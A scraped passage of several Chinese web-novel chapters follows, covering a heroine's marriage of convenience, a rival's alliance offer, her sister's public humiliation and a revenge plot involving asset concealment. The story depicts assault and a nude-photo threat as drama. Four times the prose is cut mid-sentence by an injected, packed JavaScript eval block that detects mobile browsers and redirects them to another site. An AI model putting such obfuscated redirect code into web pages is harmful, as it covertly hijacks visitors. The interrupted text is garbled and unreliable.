谁说这不是一段好姻缘呢。两个人都对彼此的价码感到满意。两个人都求得不多。 江明映蹲在罗璇面前。 他抬眼看着她,露出无懈可击的、英俊的笑容:“罗璇,有没有一种可能——或许我们真的会长长久久。”他把她的手拉过来,放在自己的膝盖上。 罗璇握住他的手,笑而不语。 “等厂子扭亏 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罗璇看着副驾驶窗外。她注视着手里点燃的雪茄。棕色的,缓慢地燃烧。 江明映也看着驾驶位的窗外。他看向更遥远的地方,不知在想什么。 两人背对背。 雪茄慢慢燃着。他们没有吸,也没有开口说话,都在沉默地思考。 雪茄燃尽了。 风吹进来。 江明映转头看向罗璇:“我送你回家。” 罗璇微微松了口气:“等你到家了,给我个消息。” 江明映颔首:“好。” 两人心照不宣地笑笑。 第196章 修罗场 车子停在楼下的时候,透过车窗,罗璇看到一个非常熟悉的背影。 她漫不经心地扫了一眼,难以置信地细看,旋即皱眉。 怎么回事,为什么—— 罗璇的手放在车门上,迟迟没有推开。江明映扭过头,循着罗璇的目光看过去。 旋即,他笑了。 “老熟人啊。”江明映的声音在罗璇身后响起,带着点说不清、道不明的调侃,“怎么不请来喝一杯茶。” 还没等罗璇反应过来,江明映已经一气呵成地解开安全带,推门下车,从车头绕到副驾驶,很潇洒地拉开车门。 他伸手替罗璇挡住车框。而那熟悉的背影回过头。 江明映转过头,对着祝峻微微颔首。 两人对视。 “小心。”江明映对着罗璇讲英文,他的语速很慢,很清晰,“我的妻子。” …… 祝峻的脸色变了。但很快,又恢复了正常。 江明映轻轻扶着罗璇的手臂,罗璇从车里钻出来,站直身体。 祝峻没理会江明映,走过来,站在罗璇面前。 “罗厂长。”祝峻神情自若地说,“郑厂长从前和我们签过合同,我们这边的工作已经开展了30%。现在这个情况,合同要不要重签?” 罗璇说:“我要看到合同原件才能答复你。” 祝峻说:“您什么时候方便,我找个时间,到您办公室去拜访。” 阳光下,他的眼睛向来锐利,定定地看着罗璇,带着点不易察觉的、复杂的情绪。但他的眼睛很黑,所以罗璇没办法判断,那些情绪都是什么。 当然,祝峻的情绪对罗璇而言,并不重要。 而江明映站在祝峻身后,没说话,双手插着兜,脸上带着一贯的微笑,看不出心里在想什么。 当然,江明映心里在想些什么,对罗璇而言,也并不重要。 罗璇看了看江明映,又看了看祝峻。 江明映的声音响起来,和以往没有任何不同:“公事啊。你们聊。” 他看了眼表,平静地上了车,关闭车门。 车子转了个弯,开走了。 …… 罗璇回头,看了眼车开走的方向,又看了眼祝峻。 而祝峻抬了抬下巴:“你和他?” “结婚了。”罗璇说。 “没听说。什么时候的事?” “刚刚。” 祝峻思索一下,淡淡地“哦”了声:“你能替他省好多事。他能替你省好多钱。合同的约束力度不够,你们需要一纸更具备法律效力的合约。战略性结婚,是个非常好的选择。”他又盯着罗璇,毫不掩饰地称赞,“决策明智,执行果断,为了目标不择手段——不愧是我带出来的人。” 罗璇笑笑,不语。 祝峻看着她的眼睛:“你变化很大。但是是好事。” 罗璇不软不硬地说:“是你觉得好。你现在已不是我老板。你没权力替我做价值判断。” 祝峻“啊”了声,道了歉。 罗璇能感觉到他赞许的目光落在她脸上。他的头发还是冷硬而短,身上的大衣一丝不苟。 祝峻突然说:“如果放在现在,你还会因为那件事,和我分手吗?” 他指的是,他利用她去测试仲裁,然后制定更严苛的劳动合同并完成裁员。 最近都没什么太阳。阴天,风冷飕飕的。 罗璇仔细地想了半天。她扪心自问。 她摇头:“第一,我不知道。第二,时过境迁,没有如果。第三,这对我们来说,很重要吗?” 祝峻又笑了。他说:“不重要。” 罗璇看了眼时间:“我很忙,给你的叙旧时间到此为止。你要和我说什么?” 祝峻靠近半步:“我的目的不是为了叙旧。我说这些,是为了争取你。我想你给我个机会,去你的办公室详谈。互联网,以后一定大有作为。” 罗璇又看了眼时间。 她露出不耐烦的神情。 罗璇直接对祝峻说:“我不想江明映话语权过大。你有什么办法?” 祝峻猝不及防,“啊”了声。 罗璇看着他:“我付款,找个公司给罗桑厂搭互联网平台,这并不难。你应该知道你的核心竞争力不在这里。你曾经做过大集团高管,你肯定知道,在一个成熟的、存量的公司内,做新业务的目的,一定不是真的为了做新业务。” 而是为了巩固自己的势力。 “对我而言。”罗璇说,“这才是你们公司的核心竞争力。” 祝峻微微抬起脸。 罗璇说:“我付费,真正买的是你。不是你们公司。我希望你明白。” 祝峻似乎被罗璇一连串主动发问搅得猝不及防。 他颔首,简单地说:“我明白。” 谈话节奏的主导权,从祝峻那里,转移到罗璇这里。这代表了权高下的颠倒。而祝峻显然不太适应。 但祝峻的情绪对罗璇而言,不重要。 罗璇又看了眼时间。她说:“江明映确实能帮我解决资 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15349181|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金问题,但如果我在罗桑厂做不出新的营收增长点,我迟早要做他的傀儡。以三到五年为规划,我要有办法牵制他。” 牵制啊。 祝峻的黑眼睛闪了闪。 …… 三角形才是最稳定的结构。 罗璇才不会天真地以为一句承诺、一纸合约、一张结婚证能改变什么。 正如她引入江明映,来对抗被天庭众仙当傀儡的命运;她也要引入祝峻,来对抗**明映当傀儡的风险。 …… 祝峻说:“你想我做什么。” “帮我。”罗璇说,“不计成本。” “不计成本。”祝峻沉吟。“做到什么程度。” “我要绕开江明映,再造一个罗桑厂。”罗璇说。 她早就想了无数遍。 …… “我要绕开罗桑厂,再造一个罗桑县。”江明映重复。 他重复过无数遍,不介意再多重复几遍。 “Adrian,你果然豁得出去。难道你怕我举报你接受性贿赂?于是你居然踏入了婚姻的枷锁!”Nate惊叹,“你疯了!结婚!多么恐怖的一件事!” 江明映说:“难道你没发现,今天罗桑县的人们,对你我友好很多?去县里办事,老戴对我的态度也亲热不少?你没察觉,我们办事变容易了?” Nate想了想,承认:“是的。” 江明映伸手摸向脑后。小小的、凸起的伤疤。 两人出来吃自助餐,各自端着盘子,站在菜品前面夹菜。Nate的盘子里,很明显能看出他偏爱其中一些菜式,有些东西夹得很多;而江明映每样都拿得很均匀。 两人找了个位置坐下。 Nate看着江明映的盘子:“Adrian,我不相信你每样都爱吃。” 江明映每样都吃了几口。 两人继续刚才的话题。 “我愿意给罗璇10%的股,并非慷慨。”江明映耐心地解释,“第一,没有罗璇,我们没办法对抗本地错综复杂的关系。第二,我必须完全控制住罗璇,她必须把新红星厂交给我。合同不保靠,我必须要一个强绑定的关系。第三,我的目的是为了掏空罗桑厂,去扶持新红星厂。我就算给她罗桑厂的30%,50%,一个注定死亡的罗桑厂,给了也就给了,又有什么意义?” “听起来,你会像掏空罗桑厂一样,把这个可怜的女人掏空。”Nate说。 “这难道不是婚姻的真相吗。”江明映反问。 第197章 三角关系最稳定 Nate失笑:“我以为你或多或少有点喜欢她。要知道,你向来喜欢这个类型的女孩子,运动天才,高挑美丽。” “我当然喜欢这个类型。”江明映笑着说,“可这个类型有无数个女孩子。” “但你还是选择了她。” “因为我有我要完成的愿景。”江明映说,“而她最有用。” Nate看着江明映的盘子。每样菜都吃干净了。 “Adrian,你非常谨慎,从不暴露自己的喜好。”Nate突然说,“我不得不佩服你。难怪你能掏空Charles。你甚至连自己的喜好都能控制——你这条鬃狼。” “你杀不掉我的原因,并非我多么强大,只因为你是个蠢货。”江明映说。 Nate面色如常,讲了句中文:“愿闻其详。” “你总看向无关紧要的地方。你的精力过于分散。”江明映凝视着眼前的空盘子,“而我,只关注一个目标。在这个目标之外,其他的,都不过无意义的附加。” “统统无意义?全部可以放弃?” “全部。” Nate佩服地点点头:“不愧是你。” “绕开罗桑厂,再造一个罗桑县。”江明映重复,“我当下的人生中,只有这件事最重要。” …… “绕开江明映,再造一个罗桑厂?”祝峻问。 罗璇重复:“你曾经做过大集团高管,你肯定知道,在一个成熟的、存量的公司内,做新业务的目的,一定不是真的为了做新业务——” “——而是为了创造新岗位,提拔自己人,扶持自己的势力。”祝峻很顺畅地接下去,“罗桑厂的蛋糕只有这么些,所有人都盯着,所有人都在抢蛋糕。所以你需要用互联网做出一块新蛋糕。” “你,和我。我们得做出一块足够大的蛋糕。”罗璇说。“一旦成功,你知道,你将获得什么。这是值得的。在互联网这块,我给你独家,我希望你不计成本。” 独家。 祝峻已经能看到,背靠罗桑县和罗桑厂的工厂与供应链资源,以及全部外销渠道,以及罗桑县作为“世界运动服之都”的**地位、品牌价值与象征意义。 他可以拿到更大的融资,政府关系更上一层楼,以及——一战成名。 或者彻底破产。 “我是一个创业者。”祝峻说,“创业九死一生。不计成本地帮你,我有90%的可能性破产。” “你是一个创业者。”罗璇说,“创业九死一生。现在互联网支持业务遍地都是,你做红海业务,本质上和养蛊、和**没有区别。不,创业就是**。你不赌,你100%死。你赌,赢了,才能拿到10%的存活几率。” 祝峻看着罗璇:“我承认,我心动了。” 罗璇看着他。 祝峻说:“但是,这个决策太过重大。不是靠你我情分就能决定的。我要回去和合伙人商量,并慎重决策。” 罗璇点头:“你们想清楚了,就来我办公室详谈。” 祝峻伸手抚了下大衣下摆:“所以你为什么不和我结婚?” “对于罗桑厂而言,对于当下的我而言。”罗璇坦率地说,“江明映比你更有用。” 祝峻又笑起来。 “很明智的决策。”他温和地赞同。 两人告别。 罗璇很得体地寒暄:“之前我被**的时候,谢谢你帮忙找我。听他们说,你说过你要订婚了。我祝你婚姻幸福。” “什么订婚?”祝峻轻轻笑起来,“没影子的事。” 罗璇说:“哦。那大概是我记错了。” 祝峻垂头看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15358111|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着她:“我以为,我只是和你冷战了几个月而已。” 罗璇差点笑出声。 怎么可能。罗璇嗤之以鼻。她很清楚,祝峻要订婚了。祝峻从未掩饰过这件事情,大家都知道。小妹告诉她,对方是一个外企高管的女儿,姓赵。 那位外企高管曾经对祝峻的事业很有帮助。 不过,那是曾经了。 罗璇面色不变,露出些笑容,四两拨千斤:“这说明我们的情分还在。如果你不计成本帮我,你可以相信,我会独家支持你。毕竟我们曾经是这样的关系,我们之间的信任也更有温度、更有感情基础。你和别人合作,不如跟我合作。” “我相信。”祝峻赞同点点头,看着她,“而且,三到五年以后,对你,我会比江明映更有用。” 罗璇想了想:“那要看互联网的发展势头。” 祝峻的声音毋庸置疑:“我看好互联网的未来。” 两人友好分开。 …… 祝峻开车回去。 人不会两次踏入同一条河流,昨日的罗璇和今天的罗璇,也并非同一个人。 她做出了很聪明的选择。婚姻不过是社会建构出来约束人的规则。愚蠢者被规则利用,聪明人利用规则。他替她感到高兴。 祝峻心想。 “嘎吱——” 刺耳的剐蹭声后,祝峻缓缓停下车,毫不意外地看见自己的车门上被刮了一道长而深的划痕。 他有点诧异。因为自己车技向来不错。 他拒绝思考原因。 因为没时间,因为没精力,因为时机不对。因为拿不到结果,就等于过程无意义。 祝峻把车停在4S店。 等待处理的间隙,他拿出手机。 找出未婚妻小赵的各种联系方式,很耐心地逐一拉黑、删掉。 第198章 罗珏的机会&卖肉 罗珏把手机放在一边,颔首:“老赵总,您来了。” 赵明德坐下,没有寒暄,直言不讳:“罗珏,我有耳闻。你因为不会做人,所以被你们行业拉黑了。” 罗珏没说话。 赵明德说:“但你现在又从Cythnia手里得到一份工作。” 罗珏微笑:“老赵总,人是会变的。人不会两次踏入同一条河流,昨日的罗珏,和今天的罗珏,并非同一个人。” “所以你终于懂得做人的道理了。”赵明德敲了下桌子,称赞,“识时务者为俊杰,你本就是个聪明人。” 罗珏颔首。赵明德又说:“要我说,你早先就是自讨苦吃。何必呢?你去操心别人,别人又不领情。你这小孩,还是书生气太重!早点醒悟过来,是好事。” 罗珏没回应。她很耐心地问:“老赵总,您请我吃这顿饭,究竟是为了什么呢。” 饭店包厢里只有二人。 赵明德说:“这家饭店是我自己的产业,这里的服务员,全是自己人。所以你我讲话,不必有顾虑。” 罗珏点头。 赵明德直接说:“我知道你是怎么找到工作的。你给Cythnia献上方案,帮她分析了产业规模,设计利用拆分产业避税,还能提高空置地块的利用率。我第一时间看过你的方案——我有我的渠道——你的方案非常好。Cythnia能给你的,我可以给更多。我想请你帮我整体制定产业规划。” “全是公司机密,不太方便吧。”罗珏垂眼笑,“我毕竟是Cythnia的人。” 赵明德说得更直白:“跳槽来我这里。” 罗珏垂眼。 赵明德从前当兵出身,做事有老大哥风范:“你去市面上打听打听,但凡是能员干将,我从不亏待。你要配车还是要配房,都是一句话的事。” 他提起一个从提篮桥监狱出来的人:“……他是你的老学长。犯了经济事以后,蹲了六年提篮桥监狱,再出来,就一直给**。这几年为了孩子,移民了。我需要有人接他的班。我把你的方案给他看过,他很欣赏你。” 罗珏点点头:“您用这个待遇来挖我,专做见不得光的业务。从此我也只能做见不得光的人。” 赵明德却非常坦然:“赚钱没有干净的。利润就藏在这样的业务里。高风险,高回报。蠢人被规则利用,聪明人利用规则。罗珏,你是聪明人。” 罗珏垂下眼,面孔冷静:“我需要一些时间思考。” 赵明德直接把两把钥匙放在她面前:“这是之前配给你老学长的。有驾照没有?这辆车你拿去开。这是一套上海的房子,面积不大,85平,住起来刚刚好。你先搬进去,开着车,再慢慢想。” 罗珏推辞。 赵明德直接说:“我在挖你,总要拿些诚意出来。” 罗珏想了想,也不再扭捏,点点头,接过两把钥匙,笑着说:“感谢老赵总赏识。我需要仔细思考。” 远处,电视机的声音在响:“欧洲能源危机爆发,十七国停止供暖。” 赵明德看着电视,说:“我出趟差,下周回来。届时,我希望你给我个答复。” 罗珏瞥了眼欧洲能源危机的新闻,问:“去江西共青城?” 赵明德一怔,看着罗珏,笑道:“我去广州。” 罗珏摇头:“俄乌争端,引发欧洲能源危机,今年的羽绒服需求肯定暴增。在服装里,羽绒服利润最可观,您一定不会放弃这块市场,而江西共青城向来是羽绒服产业集群,您必然往江西去。” 赵明德看向罗珏,眼中满是欣赏:“你说得没错。” 顿了顿,他重复:“罗珏,你是个聪明人,Cythnia给得起的,我给你更多。” 他伸出粗糙的大手,关节粗大,十根手指因为早年劳作,均已变形:“罗小姐,您别嫌我暴发户做派。” 罗珏微微笑起来,伸手与他相握。 窗外,闪光灯一闪,旋即没入黑夜中。 …… 罗桑厂门前的小广场上,电视机嗡嗡地响着。 “——受到国际金融危机的影响,俄罗斯经济受损 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15358112|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,而乌克兰无力偿还俄罗斯天然气欠款。” “——2009年1月1日,俄罗斯正式停止向乌克兰供气。” “——俄罗斯输往欧盟国家的天然气约80%经由乌克兰管道输送,俄罗斯与乌克兰在能源领域是相互依存的关系。” “——乌克兰表示,地方**禁止过境输送天然气,旋即截留俄罗斯向欧洲输送的天然气停止。1月7日,俄罗斯针对乌克兰此举,表示谴责。” “——此次断气影响了欧洲十七国,导致欧洲居民生活和工业生产受到严重影响。” “——天然气供应中断,使欧洲因能源短缺导致制造业生产设备运行成本增加,生产成本大幅上升;部分欧洲企业因能源不足而停产,导致订单无法按时完成;上下游企业之间因此无法高效协同,供应链受阻;生产成本的上升和供应链不稳定导致产品价格发生波动。” “——欧洲企业将如何转嫁抬高生产成本?” “——欧洲能源危机将如何影响我国外贸行业?” “——让我们连线专家……” 一群工人从电视机前路过,对新闻不感兴趣:“老板,调台,看《闯关东》。” “天气真冷啊。”几人的眼睛盯着小小的荧幕。 寒风吹过,工人缩着脖子。 女老板推出一支药膏:“涂冻疮好使,也不贵,二十五块钱一只。” 工人叹气:“买不起。没钱。” “全拿去集资了吧。”女老板面带同情。 “是。唉。现在这么冷,羽绒服都不降价,买不起。”另外几人说。 女老板把药膏收起来:“听说新来的罗厂长,把你们的集资都认下来了?说实话,那些钱,都被王经理吞了花了,罗厂长没翻脸不认账,算体面人。” 工人苦笑:“罗桑厂现在没钱,认了又怎么样。” 有人路过,掏钱买了瓶水,正靠在报刊亭的墙上喝。他露出一点猥琐的笑容:“说起你们那新来的罗厂长——她靠她姐姐卖肉上位的事,你们还不知道吧。” 第199章 罗珏的无妄之灾 “张博士!我都不知道,怎么会在这里遇到您!”火车的卧铺车厢里,赵明德很意外地招呼张东尧。 张东尧看到他,也意外:“老赵总!您居然坐火车?” 赵明德嘿嘿笑:“飞机太贵,能省则省。你也往江西去?” 张东尧说:“我去共青城。” 赵明德拍手:“巧了不是。我是为着羽绒服去的,你也?” 张东尧点头:“俄乌争端导致欧洲能源危机爆发,导师派我去共青城,近距离考察羽绒服产业集群如何应对这次机遇,做好田野,看看有没有什么经验,能带回给罗桑县。” 赵明德掏出自己带的不锈钢茶缸,张东尧急忙帮他接了开水。火车开动了,两人坐在卧铺车厢里,赵明德说:“我这里的羽绒服,已经全卖光了。” 张东尧点头:“这是很明显的市场风向标。”他打开电脑做记录,“所以现在是做羽绒服的好时候。” “恰恰相反。”赵明德苦笑,“现在做羽绒服,很难赚到钱。” 张东尧诧异:“供大于求,此话怎讲?” 赵明德把茶缸放在小桌板上:“张博士,理论是理论,实践是另一回事了。现在,大家都知道羽绒服有市场,所以,羽绒服的面料和辅料,也迅速涨价了。” 张东尧凝神细听。 赵明德说:“我做了一辈子服装。当原料涨价时,往往预示着过度供应。做的人多了,东西多了,必然陷入内部竞争,也就是打价格战。我们中国人呢,又是最吃苦耐劳的,你也便宜,我比你更便宜,最后商品利润无限压低,又是大家谁都没得赚。” 张东尧“啊”了声,坦诚:“这个角度,是我们没想到。” 赵明德摇头苦笑:“做生意,要是有书本上讲得那么简单就好了。” 张东尧又问:“老赵总,若是没得赚,为什么你还往江西去呢?” 赵明德看向窗外的夜色:“张博士,我们制造业,就是苦差事,赚得是一分一毫一厘的钱。看不起小钱,就赚不到大钱。就算赚得少,也得冲上去。” 张东尧说:“我听您的意思,有可能做来做去,赚的钱还抵不上成本。” “是。”赵明德颔首,“但机会摆在面前,做生意本就是赌。” 顿了顿,张东尧说:“所以,这就是我们高校与政府制定顶层规划的意义。不能再这样下去了。这个行业现状,必须改变,无论产业升级也好,禁止恶性价格战也好,移出部分资金进行投资并反哺制造业也好,总归要想些办法。” 赵明德认同:“我搞全产业链,因为做产业园的缘故,入手了几块地皮。这些年做下来,也是好笑,产业园的收益不过如此,地皮倒是升值了不少!我最近在请你们罗桑县状元出马,帮我整体把产业规划起来,资金回笼,该投资投资,该转移转移,不能苦守在制造业一处。” 张东尧变了脸色:“莫非,您就是为了这件事,在请罗珏?” 赵明德笑眯眯地点头。 他才不管这话传出去,罗珏在Cythnia面前怎么自处——他要的就是大张旗鼓,告诉所有人他想挖罗珏,让罗珏在Cythnia那里做不下去,那最好。届时,他不费一兵一卒,拿下这个人才,还能杀价。 张东尧反问:“老赵总,您还不知道?” 赵明德一愣。 张东尧说:“罗珏出事了。” …… 停产的罗桑厂在万众瞩目下,千呼万唤,新厂长终于尘埃落定。 在一众强势候选人里,各方角力,最后选出的新厂长,居然是个异常年轻本事生嫩的女人,姓罗,叫罗璇。 到处都是难听话。 在这当口,当另一则消息很巧地爆了出来,当事人还是罗厂长的亲姐姐,据说是个美人。 其他几名落选的候选人相视一笑,不知是谁意味深长地说了句: “姐姐豁得出去,难怪妹妹能上位。” 罗桑县飞出的**、状元罗珏,陪同老板Cythnia在之河市纺织协会开会的时候,被一名中年妇女带着众人冲进会场,揪住头发,一连扇了好几巴掌,痛斥她做小三,勾引自己的老公——尚雅集团,赵明德。 …… “开着我老公的车,住着我老公的房,小三不是你,还有谁!你这个狐媚子!” 据目击者说,罗珏反应很快,几杯冰水立刻泼过去,让她回去问赵明德,两口子打架,不许对外人撒泼。 结果惹恼了老赵总的老婆。 那女人有备而来,身边带着的几个女人都是练家子,抓了罗珏,直接当众扒了她的裙子,把状元的奶罩都撕碎啦!裤衩也扒啦! “全扒光了?真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“罗珏和赵明德和解了。” 众人“嗨”了声:“抗争到底啊,怎么就和解了?” “她不是挺刚的吗?怎么这次不刚了?” “那可是赵明德,刚了也没用,还不如卖个人情给他。再说,罗厂长是罗珏的妹妹,罗珏肯定要考虑到,自己妹妹还要跟赵明德合作,犯不上交恶。” “那这口气就只能咽了?罗珏心高气傲,她真能咽得下?” 第200章 离婚&裸照 “罗珏这样的人才,能帮我省多少钱啊,能帮我省多少事啊!这下好了,彻底得罪了!”赵明德仰头把酒吞进肚子,“我老婆,愚蠢了一辈子!冲动了一辈子!当众扒人衣服——她怎么敢!” “而且还是她妹妹罗璇准备上位的敏感时期。”王永昌凉凉开口,“你老婆得罪的,可不仅仅是一个罗珏。罗桑县会怎么看你?” 草原服饰郎峰插嘴:“罗家姐妹,看在外人眼中,可是绑在一起的。” 赵明德捶胸顿足。 “这么敏感的时候,你老婆跳出来,必然是受人挑唆。”王永昌敏锐地问,“究竟是谁,把你当枪使?” “珊瑚集团。”赵明德阴恻恻地说,“上海的一块地皮,我和珊瑚集团在竞标。” “Cythnia害你?” “Cythnia哪有这个本事?她又没权。”赵明德嗤笑,“是Cythnia的哥哥。趁着我去江西谈羽绒服供应链,他要我后院起火,打击我和罗桑县的关系,就从罗珏下手。” “你老婆,居然在这个关头,跳出来当刀使。”郎峰嘲笑他。 “罗珏很懂事,办事敞亮,虽然报了警,但没追究你老婆的责任。”王永昌说。 赵明德恨得脸上的肉在颤。 半晌,他下定决心:“离婚!必须离婚!阿郑这几年越来越拎不清,我迟早得被这蠢女人害死!” “当初就说你,娶妻娶贤,你就非图她漂亮。”郎峰喝了口酒,“或者你像我,不结婚,钱全攥在自己手里,至于外面哪个女人生的,不都是我自己的孩子吗?” 王永昌皱眉:“你想好了?你这样的身家,离婚,要割掉一大笔肉。” “不离不行。罗家姐妹是捆在一起的,罗璇又是和罗桑县捆在一起的。我得向罗桑县表态。”赵明德面色冷峻,“而且,谁不怕被枕边人背刺?被外人三言两语挑拨,就能给人当刀。今天她敢扒罗珏的衣服,明天保不齐敢就去哪里举报我。我真不明白,她怎么会蠢到这个地步!” “我听说你和阿郑是自由恋爱。”王永昌提醒,“至少还有点情分。” “早磨没了。”赵明德摆摆手,“我结婚太早。人啊,二十岁需要的,和三十岁需要的,完全不一样。三十岁和四十岁,需要的也完全不一样。人得跟着环境变。处境变了,人不变,我变了,她没变……不合时宜。我早该离婚的。” 他长叹一口气:“永昌,郎峰,我多羡慕你们,永昌,你老婆精明能干,两个人有商有量。郎峰,你一直不结婚,多好!你和局头Evelyn究竟是什么关系?她对你千依百顺。这才是温馨的港湾嘛。” 王永昌和郎峰都笑而不语。 见赵明德神情坚决,外加赵太阿郑的行事过于离谱——这岂止是树敌,简直是把赵明德往死里搞——两人也就不再劝说。 至于罗珏本人—— 被Cythnia她哥拎出来搞,纯属倒霉。 小人物罢了。 神仙打架,小人物受点委屈,这本是再正常不过的事。所以也没人多提她。 赵明德又对王永昌和郎峰说:“我要离婚,不会亏待阿郑,但不可能把自家生意完完全全割一半给她。我要转移财产,你们得帮我。” 三人碰杯。 …… Cythnia把酒杯推到了罗珏面前。 罗珏的嗓音依旧清凌凌的:“谢谢老板,但我不喝酒。” Cythnia抱着手,看着罗珏:“原来你打算跳槽去老赵总那里?你背叛我?” 罗珏的侧脸被打过,还有些肿。 但她的神情仿佛什么都没发生过。 Cythnia把酒杯移到一边:“罗珏,你对那些见不得光的业务很感兴趣吗?” 罗珏喝了口柠檬水,沉默不语。 Cythnia说:“你帮我转移了一笔业务支出,用投资的方式,帮我真心白银避了一大笔税。我的想法是,从今天开始,我给你涨薪45%。” 罗珏没什么表情,也没说话。她看着Cythnia。 Cythnia说:“罗珏,我知道你有本事。我这里位子小,容不下你这尊大佛。人往高处走,水往低处流,老赵总不来挖你,也会有李总王总来挖你。我不想你走的时候,我才用涨薪来挽留你。” 罗珏静静地开口:“谢谢你,老板。但我不想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15360521|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要你的涨薪。” Cythnia威胁:“你铁了心要去老赵总那里,哪怕赵太扒了你的衣服?你信不信,今天你去老赵总的公司,明天他们公司上上下下就都能欣赏到你的裸照?” Cythnia才不怕戳中罗珏的伤心事。 罗珏介意不介意自己被扒光衣服,罗珏的情绪,Cythnia根本不在乎。 罗珏终于面色微变。 她开口,声音却异常冷漠:“看得到,操不到,又怎么样。就算操到了,又怎么样。无论怎样,我都是我。这么件小事,难道就要彻底摧毁我?难道就要我从此抬不起头?难道就要我从此不敢出门?” Cyrthnia意外至极,“哈”地笑了。 她饶有兴致地问:“你不难受?” 罗珏站起身,张开双手,在办公室里原地转了一圈,居高临下地看着Cythnia:“好看吗。” Cythnia喝了口酒,毫不掩饰地盯着她的身体:“好看。脱光了更好看。” 罗珏点头:“为了维持一个好的身材,我妹花了大精力带我运动塑形,既然大家都看到了,都说好看,那算我的钱没白花,算我的努力没白费。” Cythnia笑了半天。 她饶有兴致地看着罗珏:“你是个狠人。” 罗珏冷冷的没什么表情。 顿了顿,Cythnia说:“你知道是谁在背后搞你?” “是你哥。”罗珏平静地说,“若是我猜不透这层道理,我没脸在你这拿高工资。” Cythnia又说:“我不认为你会忍了这口气。” “我没得选。”罗珏轻轻地说,“我忍不忍,选择权不在我手上,是你们希望我忍,还是不希望我忍。” 小人物嘛。 小人物要不要反抗,能不能反抗,从来由不得自己决定的。 小人物是一枚棋子,身上布满其他人的手印。 Cythnia笑了笑,对小人物的痛苦轻描淡写:“你是个聪明人。” 罗珏坐下来,坐在她面前:“老板,那我可以和你谈谈我们今后的发展吗。” Cythnia敏锐地问:“我们?” 第201章 刚直是特权&罗珏的黑化 罗珏点头:“赵明德一定会离婚。” “你被人这么欺负,他就只是离了个婚。”Cythnia毫不在意地挥手。 罗珏很平静地说:“我想的是,老赵总那样的身家,离婚,势必是要分财产的。老赵总肯定要先转移财产。” “废话。” 罗珏继续说:“你哥能用赵太当刀捅你,你也能用赵太当刀捅你哥。” Cythnia这才抬起脸:“怎么说。” 罗珏说:“你觉得,如果我把‘赵明德决定离婚并转移财产’这个消息递给赵太,赵太会不会慌?如果赵太慌了,会不会去找你哥算账?” Cythnia的眼睛亮了。 罗珏又说:“如果我们推波助澜,让赵太去骚扰你哥,你哥会不会帮她擦屁股?你哥聪明,但赵太是笨蛋,聪明人和笨蛋联手,聪明人就必定露出破绽。你可以顺势打击你哥。而且,赵太打了我,影响的是老赵总和罗桑县的关系。老赵总如果要修复和罗桑县的关系,必然要做出商业让步。只要我们把水搅得足够浑,就必然有机会。” Cythnia直接说:“罗珏,趁这次与老赵总联手,你帮我把我爸我哥全拉下来。如果珊瑚集团我能上位,我给你投资一间公司。” 罗珏的眼睛一点点亮起来。 她点头:“你一定能上去。” Cythnia拍手:“罗珏,你是个狠人,算计人又坏,我就喜欢你这样又狠又坏的。” 罗珏反问:“坏的是我吗?坏的不是那些欺负我的人吗?坏的不是这个世道吗?我只是不甘心,我只是反抗,就是个坏人了吗?” “是啊。”Cythnia又喝了口酒,毫不掩饰地说,“谁让你敢反抗呢。” 罗珏住了嘴。 Cythnia听不出罗珏的情绪。她也不在乎。 “人要看清自己的阶层。”Cythnia撇嘴,“底层人,一旦做人做事刚直,只会过刚易折,必然没什么好下场。” 罗珏沉默了好一会。 “上层人还是底层人,不过都是命一条。人**,什么都没了。好下场还是坏下场,都不重要。”她轻声说,“只要不连累别人,只要一人做事一人当,好,还是坏,不过是别人嘴巴里的评价,和被扒光没区别——只要自己不在乎,就无所谓。” Cythnia定定地看了罗珏半晌。 